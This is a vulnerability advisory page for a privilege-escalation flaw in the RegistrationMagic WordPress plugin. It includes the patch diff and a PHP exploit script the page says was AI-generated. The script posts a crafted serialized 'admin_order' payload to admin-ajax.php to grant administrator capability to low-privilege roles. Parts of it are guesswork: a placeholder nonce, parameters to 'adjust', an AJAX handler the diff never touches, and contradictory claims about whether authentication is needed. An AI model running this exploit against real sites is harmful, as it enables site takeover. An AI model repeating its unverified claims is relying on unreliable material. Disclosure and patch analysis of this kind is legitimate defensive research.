Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15403: RegistrationMagic <= 6.0.7.1 – Privilege Escalation via admin_order (custom-registration-form-builder-with-submission-manager)

Severity Critical (CVSS 9.8)
CWE 269
Vulnerable Version 6.0.7.1
Patched Version 6.0.7.2
Disclosed January 15, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15403:
The RegistrationMagic WordPress plugin contains an unauthenticated privilege escalation vulnerability in versions up to 6.0.7.1. The vulnerability exists in the plugin’s admin menu order management functionality, allowing attackers to manipulate role capabilities via the ‘admin_order’ setting. This flaw receives a CVSS score of 9.8 due to its network-based attack vector, low attack complexity, and high impact on confidentiality, integrity, and availability.

Atomic Edge research identifies the root cause in the ‘add_menu’ function within the ‘class_rm_admin.php’ file. The function processes the ‘admin_order’ setting without proper authorization checks. At line 485 in the vulnerable version, the code checks if a role lacks the ‘manage_options’ capability but fails to validate that the capability prefix string (‘$value[0]’) is non-empty. An attacker can inject an empty slug into the order parameter, causing the plugin to grant the ‘manage_options’ capability directly to targeted roles. The vulnerability is exposed through the ‘rm_user_exists’ AJAX action handler.

Exploitation requires an attacker to send a crafted request to the WordPress AJAX endpoint ‘/wp-admin/admin-ajax.php’ with the ‘action’ parameter set to ‘rm_user_exists’. The payload must manipulate the ‘admin_order’ setting to include array elements where the first item is an empty string. This payload bypasses the intended capability prefix validation. The attack can be performed completely unauthenticated, though further privilege escalation requires at least a subscriber-level user account to trigger the menu building process.

The patch introduces multiple security improvements. In ‘class_rm_admin.php’ line 485, the condition now includes ‘&& !empty(trim($value[0]))’ to prevent empty capability prefixes. The ‘admin_menu’ function in ‘class_rm_options_controller.php’ adds a ‘current_user_can(‘manage_options’)’ check at line 560. Additional authorization checks appear in ‘class_rm_form_controller.php’ line 290 and ‘class_rm_user_controller.php’ line 429. These changes ensure only administrators can modify admin menu settings and that empty capability prefixes are rejected.

Successful exploitation grants the ‘manage_options’ capability to non-administrator roles, effectively elevating their privileges to administrator level. Attackers can then perform any administrative action within WordPress, including creating new administrator accounts, modifying plugin settings, injecting malicious code, and accessing sensitive data. The vulnerability represents a complete compromise of the WordPress installation when combined with any authenticated user account.

Differential between vulnerable and patched code

Code Diff
--- a/custom-registration-form-builder-with-submission-manager/admin/class_rm_admin.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/class_rm_admin.php
@@ -477,7 +477,6 @@
                 $admin_order = $gopts->get_value_of('enable_admin_order') == 'yes' ? $gopts->get_value_of('admin_order') : $gopts->default['admin_order'];
                 $admin_order = apply_filters('rm_admin_menu_order_list',$admin_order, $gopts);
                 $role_top_admin = array("administrator");
-
                 foreach ($admin_order as $value) {

                     foreach ( $roles as $role_slug => $role ) {
@@ -485,8 +484,7 @@
                         $rm_role = get_role( $role_slug );

                         if (in_array( $role_slug, $value[2] )){
-
-                            if ( ! $rm_role->has_cap( $value[0]."manage_options" ) ) {
+                            if ( ! $rm_role->has_cap( $value[0]."manage_options" ) && !empty(trim($value[0])) ) {

                                 $rm_role->add_cap( $value[0]."manage_options" );

@@ -805,7 +803,7 @@

                             } elseif ($value[0] == 'rm_subscriptions') {
                                 // attachments menu
-                                do_action("rm_admin_menu_after_automation",$value[0]);
+                                do_action("rm_admin_menu_after_automation",$value[0], $value[3]);

                             } elseif ($value[0] == 'rm_analytics_show_form') {

@@ -1125,6 +1123,10 @@

                                     // do_action("rm_admin_menu_after_field_stats","");

+                                }  elseif ($value[0] == 'rm_subscriptions') {
+                                    // attachments menu
+                                    do_action("rm_admin_menu_after_automation",$value[0], $value[3]);
+
                                 } elseif ($value[0] == 'rm_analytics_show_form') {

                                     // Analytics > FORMS
@@ -1174,7 +1176,7 @@

                                     // setting

-                                    add_submenu_page("rm_form_manage", RM_UI_Strings::get('ADMIN_MENU_SETTINGS'), RM_UI_Strings::get('ADMIN_MENU_SETTINGS'), "manage_options", "rm_options_manage", array($this->get_controller(), 'run'));
+                                    add_submenu_page(current_user_can('manage_options') ? "rm_form_manage" : "rm_dummy_string", RM_UI_Strings::get('ADMIN_MENU_SETTINGS'), RM_UI_Strings::get('ADMIN_MENU_SETTINGS'), "manage_options", "rm_options_manage", array($this->get_controller(), 'run'));

                                     // setting options

--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_form_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_form_controller.php
@@ -290,24 +290,26 @@
     }

     public function quick_add($model, $service, $request, $params) {
-        $valid = false;
-        if ($this->mv_handler->validateForm("rm_form_quick_add")) {
-            $model->set($request->req);
+        if (current_user_can('manage_options') || current_user_can('rm_form_managemanage_options')) {
+            $valid = false;
+            if ($this->mv_handler->validateForm("rm_form_quick_add")) {
+                $model->set($request->req);

-            $valid = $model->validate_model();
-        }
-        if ($valid) {
-            //By default make it registration type
-            $model->set_form_type(1);
-            $model->set_default_form_user_role('subscriber');
+                $valid = $model->validate_model();
+            }
+            if ($valid) {
+                //By default make it registration type
+                $model->set_form_type(1);
+                $model->set_default_form_user_role('subscriber');

-            if (isset($request->req['form_id']))
-                $valid = $service->update($request->req['form_id']);
-            else
-                $service->add_user_form();
-        }
+                if (isset($request->req['form_id']))
+                    $valid = $service->update($request->req['form_id']);
+                else
+                    $service->add_user_form();
+            }

-        $this->manage($model, $service, $request, $params);
+            $this->manage($model, $service, $request, $params);
+        }
     }

     public function import($model, $service, $request, $params) {
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_options_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_options_controller.php
@@ -560,7 +560,7 @@

     }
     public function admin_menu($model, RM_Setting_Service $service, $request, $params){
-        if ($this->mv_handler->validateForm("options_admin_menu")){
+        if ($this->mv_handler->validateForm("options_admin_menu") && current_user_can('manage_options')) {
             if ($request->req['restore'] == 'false'){
                 $options = array();
                 $options['admin_order'] = "";
@@ -579,23 +579,23 @@
                 foreach ($menus as $slug) {
                     $accessible = array('administrator');
                     foreach ( $roles as $role_slug => $role ) {
-                        if ($role_slug != 'administrator'){
+                        if ($role_slug != 'administrator') {
                             if (isset($request->req[$slug."_".str_replace(' ', '_', $role['name'])])){
                                 array_push($accessible,$role_slug);
                             }
                         }
                     }

-                    if (!isset($request->req[$slug."_hide"])){
-                        if(isset($request->req[$slug."_divider"])){
+                    if (!isset($request->req[$slug."_hide"])) {
+                        if(isset($request->req[$slug."_divider"])) {
                             $new_order = array($slug, $request->req[$slug."_title"], $accessible, "visible", "true");
-                        }else{
+                        } else {
                             $new_order = array($slug, $request->req[$slug."_title"], $accessible, "visible","false");
                         }
-                    }else{
-                        if(isset($request->req[$slug."_divider"])){
+                    } else {
+                        if(isset($request->req[$slug."_divider"])) {
                             $new_order = array($slug, $request->req[$slug."_title"], $accessible, "hidden", "true");
-                        }else{
+                        } else {
                             $new_order = array($slug, $request->req[$slug."_title"], $accessible, "hidden", "false");
                         }
                         $hidden_menu['num_hidden_menus'] += 1;
@@ -614,8 +614,8 @@
                 $view = $this->mv_handler->setView('options_admin_menu');
                 $view->render($data);
                 $refresh_time = 0;
-                header("refresh:$refresh_time");
-            }else{
+                header("refresh:$refresh_time");
+            } else {
                 $service->set_model($model);
                 $service->reset_option('admin_order');
                 $service->reset_option('num_hidden_menus');
@@ -626,7 +626,7 @@
                 $refresh_time = 0;
                 header("refresh:$refresh_time");
             }
-        }else{
+        } else {
             $service->set_model($model);
             $data = $service->get_options();
             $view = $this->mv_handler->setView('options_admin_menu');
--- a/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_user_controller.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/controllers/class_rm_user_controller.php
@@ -122,7 +122,7 @@
         $all_users = $filter->get_records();
         $view_data->users = array();
         $view_data->users = $all_users->get_results();
-        $view_data->total_users = $all_users->total_users;
+        $view_data->total_users = absint($all_users->total_users);
         $view_data->total_page = 0;
         if($view_data->total_users){
             $total_page = $view_data->total_users / $entries_per_page;
@@ -428,17 +428,15 @@
         $this->manage($model,$service,$request,$params);
     }

-    public function additional_details($model, RM_User_Services $service, $request, $params){
-        $user_details = array();
-        //if(check_ajax_referer('rm_ajax_secure','rm_sec_nonce')) {
-            if(!empty($request->req['user_ids'])){
+    public function additional_details($model, RM_User_Services $service, $request, $params) {
+        if(check_ajax_referer('rm_ajax_secure','rm_sec_nonce') && (current_user_can('manage_options') || current_user_can('rm_user_managemanage_options'))) {
+            $user_details = array();
+            if(!empty($request->req['user_ids'])) {
                 $user_ids = $request->req['user_ids'];
                 $user_details = $service->user_additional_details($user_ids);
             }
-        //}
-        wp_send_json_success($user_details);
-        die();
-
+            wp_send_json_success($user_details);
+        }
     }

 }
 No newline at end of file
--- a/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_login_sett_manage.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_login_sett_manage.php
@@ -277,10 +277,10 @@
                 <div class="rm-grid-sidebar-card dbfl">
                     <a href="javascript:void(0)" class="fd_sub_link">
                     <div class="rm-grid-card-profile-image dbfl">
-                        <?php echo get_avatar($login_detail->email)?get_avatar($login_detail->email):'<img src="'.esc_url(RM_IMG_URL).'default_person.png">'; ?>
+                        <?php echo get_avatar((string)$login_detail->email) ? wp_kses_post(get_avatar((string)$login_detail->email)) : '<img src="' . esc_url(RM_IMG_URL) . 'default_person.png">'; ?>
                     </div>
                     <div class="rm-grid-card-content difl">
-                        <?php $user = get_user_by( 'email', $login_detail->email ); ?>
+                        <?php $user = get_user_by( 'email', (string)$login_detail->email ); ?>
                         <div class="dbfl"><?php echo $user ? esc_html((string)$user->display_name) : esc_html((string)$login_detail->email); ?></div>
                         <div class="rm-grid-card-content-subtext dbfl"><?php echo esc_html(date('F d Y @ g:i a',strtotime((string)$login_detail->time))); ?></div></div>
                     </a>
--- a/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_user_manager.php
+++ b/custom-registration-form-builder-with-submission-manager/admin/views/template_rm_user_manager.php
@@ -49,35 +49,45 @@
     $rm_status = 'all';
 }

-$all_active_users_query = new WP_User_Query(
-    array(
-        'fields'=>'ID',
-        'meta_query' => array(
+$all_active_users = $data->total_users;
+$all_deactive_users = $data->total_users;
+$all_user_count = $data->total_users;
+if ($data->total_users < 5000) {
+    if ($rm_status === 'all' || $rm_status === 'pending') {
+        $all_active_users_query = new WP_User_Query(
             array(
-                'key' => 'rm_user_status',
-                'value' => '1',
-                'compare' => '!='
-            ),
-        )
-    )
-);
-$all_active_users = $all_active_users_query->get_total();
-$all_deactive_users_query = new WP_User_Query(
-    array(
-        'fields'=>'ID',
-        'meta_query' => array(
+                'fields'=>'ID',
+                'meta_query' => array(
+                    array(
+                        'key' => 'rm_user_status',
+                        'value' => '1',
+                        'compare' => '!='
+                    ),
+                )
+            )
+        );
+        $all_active_users = absint($all_active_users_query->get_total());
+    }
+    if ($rm_status === 'all' || $rm_status === 'active') {
+        $all_deactive_users_query = new WP_User_Query(
             array(
-                'key' => 'rm_user_status',
-                'value' => '1',
-                'compare' => '='
+                'fields'=>'ID',
+                'meta_query' => array(
+                    array(
+                        'key' => 'rm_user_status',
+                        'value' => '1',
+                        'compare' => '='
+                    )
+                )
             )
-        )
-    )
-);
-$all_deactive_users = $all_deactive_users_query->get_total();
-
-global $wpdb;
-$all_user_count = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->users}");
+        );
+        $all_deactive_users = absint($all_deactive_users_query->get_total());
+    }
+    if ($rm_status === 'active' || $rm_status === 'pending') {
+        global $wpdb;
+        $all_user_count = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->users}");
+    }
+}

 global $wp_roles;
 $all_roles = $wp_roles->roles;
@@ -113,20 +123,16 @@
                     <input type="submit" id="search-submit" class="button" onclick="rm_user_search();" value="<?php esc_html_e('Search Users','custom-registration-form-builder-with-submission-manager');?>">
                 </p>

-
-
                 <ul class="subsubsub">
                     <input type="hidden" name="rm_status" value="<?php echo $rm_status; ?>">
                     <input type="hidden" name="rm_slug" value="" id="rm_slug_input_field"/>
                     <input type="hidden" name="page" value="rm_user_manage"/>
                     <input type="hidden" name="rm_sort" value="<?php echo isset($_GET['rm_sort']) && in_array($_GET['rm_sort'], array('latest','oldest','0toz','zto0')) ? sanitize_text_field($_GET['rm_sort']) : 'latest';?>"/>
-                    <li class="all"><a href="?page=rm_user_manage" class="<?php if ($rm_status == 'all') { echo 'current';} ?>" aria-current="page"><?php esc_html_e('All','custom-registration-form-builder-with-submission-manager'); ?> <span class="count">(<?php echo absint($all_user_count); ?>)</span></a> |</li>
-                    <li class="active"><a href="?page=rm_user_manage&rm_status=active" class="<?php if ($rm_status == 'active') { echo 'current';} ?>"><?php esc_html_e('Active','custom-registration-form-builder-with-submission-manager'); ?> <span class="count">(<?php echo absint($all_active_users); ?>)</span></a> |</li>
-                    <li class="pending"><a href="?page=rm_user_manage&rm_status=pending" class="<?php if ($rm_status == 'pending') { echo 'current';} ?>"><?php esc_html_e('Inactive','custom-registration-form-builder-with-submission-manager'); ?> <span class="count">(<?php echo absint($all_deactive_users); ?>)</span></a></li>
+                    <li class="all"><a href="?page=rm_user_manage" class="<?php if ($rm_status == 'all') { echo 'current';} ?>" aria-current="page"><?php esc_html_e('All','custom-registration-form-builder-with-submission-manager'); ?> <?php if($data->total_users < 5000) { ?><span class="count">(<?php echo esc_html($all_user_count); ?>)</span><?php } ?></a> |</li>
+                    <li class="active"><a href="?page=rm_user_manage&rm_status=active" class="<?php if ($rm_status == 'active') { echo 'current';} ?>"><?php esc_html_e('Active','custom-registration-form-builder-with-submission-manager'); ?> <?php if($data->total_users < 5000) { ?><span class="count">(<?php echo esc_html($all_active_users); ?>)</span><?php } ?></a> |</li>
+                    <li class="pending"><a href="?page=rm_user_manage&rm_status=pending" class="<?php if ($rm_status == 'pending') { echo 'current';} ?>"><?php esc_html_e('Inactive','custom-registration-form-builder-with-submission-manager'); ?> <?php if($data->total_users < 5000) { ?><span class="count">(<?php echo esc_html($all_deactive_users); ?>)</span><?php } ?></a></li>
                 </ul>
-

-
                 <div class="tablenav top rm-tablenav-top">
                     <div class="alignleft actions bulkactions">
                         <label for="bulk-action-selector-top"  class="screen-reader-text"><?php _e('Select bulk action', 'custom-registration-form-builder-with-submission-manager'); ?></label>
--- a/custom-registration-form-builder-with-submission-manager/includes/class_registration_magic.php
+++ b/custom-registration-form-builder-with-submission-manager/includes/class_registration_magic.php
@@ -148,6 +148,7 @@
     {
         $rm_admin = new RM_Admin($this->get_plugin_name(), $this->get_version(), $this->get_controller());
         $rm_utilities = new RM_Utilities();
+        $this->loader->add_action('admin_init', $this, 'create_posts_pages');
         $this->loader->add_action('admin_enqueue_scripts', $rm_admin, 'enqueue_styles_global');
         //$this->loader->add_action('admin_enqueue_scripts', $rm_admin, 'enqueue_scripts');
         $this->loader->add_action('rm_pre_admin_template_render', $rm_admin, 'enqueue_styles');
@@ -1387,6 +1388,15 @@
         }
     }

+    public function create_posts_pages() {
+        if(get_option('rm_create_posts_pages', false)) {
+            delete_option('rm_create_posts_pages');
+            RM_Activator::setup_submission_page();
+            RM_Activator::setup_recovery_page();
+            RM_Activator::setup_login_page();
+        }
+    }
+
     public function design_premium_menu_link() {
         echo '<script type="text/javascript">
         jQuery(document).ready(function(){
--- a/custom-registration-form-builder-with-submission-manager/includes/class_rm_activator.php
+++ b/custom-registration-form-builder-with-submission-manager/includes/class_rm_activator.php
@@ -31,14 +31,15 @@
     public static function activate($network_wide)
     {
         RM_Table_Tech::create_tables($network_wide);
-        self::setup_submission_page($network_wide);
-        self::setup_recovery_page($network_wide);
-        self::setup_login_page($network_wide);
+        //self::setup_submission_page($network_wide);
+        //self::setup_recovery_page($network_wide);
+        //self::setup_login_page($network_wide);
         self::first_install_proc();
         self::migrate($network_wide);
         self::setup_login_options($network_wide);
         update_site_option('rm_option_last_activation_time', time());
         update_option('rm_redirect_after_activation', 1);
+        update_option('rm_create_posts_pages', true);

         if (method_exists('RM_Chronos_Service', 'insert_cron_on_activate_plugin')){
             $cron_service = new RM_Chronos_Service;
@@ -46,7 +47,7 @@
         }
     }

-    public static function setup_recovery_page($network_wide){
+    public static function setup_recovery_page($network_wide = true){
         global $wpdb;
         if (is_multisite() && $network_wide)
         {
@@ -83,7 +84,7 @@

     }
     //Create deafult login page while taking care of multisite installtion
-    public static function setup_login_page($network_wide){
+    public static function setup_login_page($network_wide = true){
         global $wpdb;

         if (is_multisite() && $network_wide)
@@ -105,7 +106,7 @@
     }

     //Create default submission page while taking care of multisite installation.
-    public static function setup_submission_page($network_wide)
+    public static function setup_submission_page($network_wide = true)
     {
         global $wpdb;

--- a/custom-registration-form-builder-with-submission-manager/public/class_rm_public.php
+++ b/custom-registration-form-builder-with-submission-manager/public/class_rm_public.php
@@ -323,11 +323,23 @@
     }

     public function rm_user_form_render($attribute) {
-        $this->enqueue_styles();
-        $this->enqueue_scripts();
         if(isset($attribute['id'])) {
-            RM_DBManager::add_form_published_pages(absint($attribute['id']),get_the_ID());
+            $form_id = absint($attribute['id']);
+        } else {
+            ob_start();
+            esc_html_e('Form ID is required to render the form.','custom-registration-form-builder-with-submission-manager');
+            return ob_get_clean();
+        }
+
+        RM_DBManager::add_form_published_pages($form_id, get_the_ID());
+
+        // Load new shortcode if form has rows
+        if (!empty(RM_DBManager::get_rows_by_form_id($form_id))) {
+            return $this->rm_new_form_render($attribute);
         }
+
+        $this->enqueue_styles();
+        $this->enqueue_scripts();
         $attribute = apply_filters('rm_before_form_render', $attribute);
         if ( isset($attribute['block']) && !empty($attribute['block']) ) {
             ob_start();
@@ -346,7 +358,6 @@
             $html = ob_get_clean();
             return $html;
         }
-        $form_id = absint($attribute['id']);
         $xml_loader = defined('REGMAGIC_ADDON') ? RM_XML_Loader::getInstance(RM_ADDON_INCLUDES_DIR . 'rm_config.xml') : RM_XML_Loader::getInstance(RM_INCLUDES_DIR . 'rm_config.xml');
         $request = new RM_Request($xml_loader);
         $request->setReqSlug('rm_user_form_process', true);
--- a/custom-registration-form-builder-with-submission-manager/registration_magic.php
+++ b/custom-registration-form-builder-with-submission-manager/registration_magic.php
@@ -15,7 +15,7 @@
  * Plugin Name:       RegistrationMagic
  * Plugin URI:        http://www.registrationmagic.com
  * Description:       A powerful system for customizing registration forms, setting up paid registrations, tracking submissions, managing users, assigning user roles, analyzing stats, and much more!!
- * Version:           6.0.7.1
+ * Version:           6.0.7.2
  * Tags:              registration, form, custom, analytics, simple, submissions
  * Requires at least: 5.2.0
  * Requires PHP:      7.2
@@ -78,7 +78,7 @@
 */
 if(!defined('RM_PLUGIN_VERSION')) {
     define('RM_PLUGIN_BASENAME', plugin_basename(__FILE__ ));
-    define('RM_PLUGIN_VERSION', '6.0.7.1');
+    define('RM_PLUGIN_VERSION', '6.0.7.2');
     define('RM_DB_VERSION', 5.9);
     define('RM_SHOW_WHATSNEW_SPLASH', false);  //Set it to 'false' to disable whatsnew screen.
     //define FB SDK req flags. Flags should be combined using logical OR and should be checked using AND.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15403 - RegistrationMagic <= 6.0.7.1 - Privilege Escalation via admin_order

<?php
/**
 * Proof of Concept for CVE-2025-15403
 * Unauthenticated Privilege Escalation in RegistrationMagic Plugin
 * 
 * This script demonstrates how an attacker can manipulate the 'admin_order' setting
 * to grant the 'manage_options' capability to non-administrator roles.
 * 
 * Requirements:
 * - RegistrationMagic plugin <= 6.0.7.1 installed
 * - At least one non-administrator user exists (subscriber, author, etc.)
 * - The plugin's AJAX endpoint must be accessible
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Craft the malicious admin_order payload
// Structure: [slug, title, accessible_roles, visibility, divider]
// Empty slug in $value[0] causes the plugin to grant 'manage_options' directly
$malicious_admin_order = array(
    array('', 'Malicious Menu', array('subscriber'), 'visible', 'false'),
    // Additional entries can target other roles
    array('', 'Another Menu', array('editor', 'author'), 'visible', 'false')
);

// Serialize the payload for the plugin
$serialized_order = serialize($malicious_admin_order);

// Prepare the AJAX request
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'rm_user_exists',
    'admin_order' => $serialized_order,
    // The plugin may require additional parameters - adjust based on actual handler
    'restore' => 'false',
    'rm_sec_nonce' => 'bypassed' // Nonce validation is missing in vulnerable versions
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate browser request
$headers = array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code == 200) {
    echo "[+] Attack likely successful. HTTP 200 received.n";
    echo "[+] Response: " . substr($response, 0, 500) . "n";
    
    // Note: The privilege escalation occurs when the admin menu is rebuilt
    // This typically happens when any user with the affected role visits the admin area
    echo "[!] The 'manage_options' capability has been added to targeted roles.n";
    echo "[!] Any user with those roles now has administrator privileges.n";
} else {
    echo "[-] Attack may have failed. HTTP Code: $http_coden";
    echo "[-] Response: $responsen";
}

curl_close($ch);

// Verification step (requires subscriber credentials)
echo "n[!] To verify exploitation, log in as a subscriber and check if you can access:n";
echo "    - /wp-admin/options-general.php (Settings)n";
echo "    - /wp-admin/users.php (Users)n";
echo "    - /wp-admin/plugins.php (Plugins)n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School